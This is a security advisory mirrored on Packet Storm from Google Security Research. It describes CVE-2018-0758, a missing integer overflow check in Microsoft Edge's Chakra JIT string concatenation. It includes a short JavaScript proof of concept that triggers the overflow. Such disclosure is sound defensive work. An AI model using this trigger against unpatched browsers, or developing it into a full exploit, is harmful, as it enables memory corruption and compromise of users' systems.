Lucene search

K
packetstormGoogle Security ResearchPACKETSTORM:145839
HistoryJan 11, 2018 - 12:00 a.m.

Microsoft Edge Chakra JIT Missing Integer Overflow Check

2018-01-1100:00:00
Google Security Research
packetstormsecurity.com
50

0.903 High

EPSS

Percentile

98.5%

`Microsoft Edge: Chakra: JIT: Missing Integer Overflow check in Lowerer::LowerSetConcatStrMultiItem   
  
CVE-2018-0758  
  
  
The method "Lowerer::LowerSetConcatStrMultiItem" is used to generate machine code to concatenate strings.  
Here's a snippet of the method.  
void Lowerer::LowerSetConcatStrMultiItem(IR::Instr * instr)  
{  
...  
IR::IndirOpnd * dstLength = IR::IndirOpnd::New(concatStrOpnd, Js::ConcatStringMulti::GetOffsetOfcharLength(), TyUint32, func);  
...  
InsertAdd(false, dstLength, dstLength, srcLength, instr); <<------ (a)  
...  
}  
  
At (a), there's no check for integer overflow.  
  
Note: Chakra uses string chains to handle concatenated strings(the ConcatString class). So it doesn't require much memory to trigger the bug.  
  
PoC:  
let a = '';  
let b = 'A'.repeat(0x10000);  
for (let i = 0; i < 0x10000; i++) {  
a = 'BBBBBBBBB' + a + b;  
}  
  
print(a.length);  
print(b.length);  
print(a[0]);  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`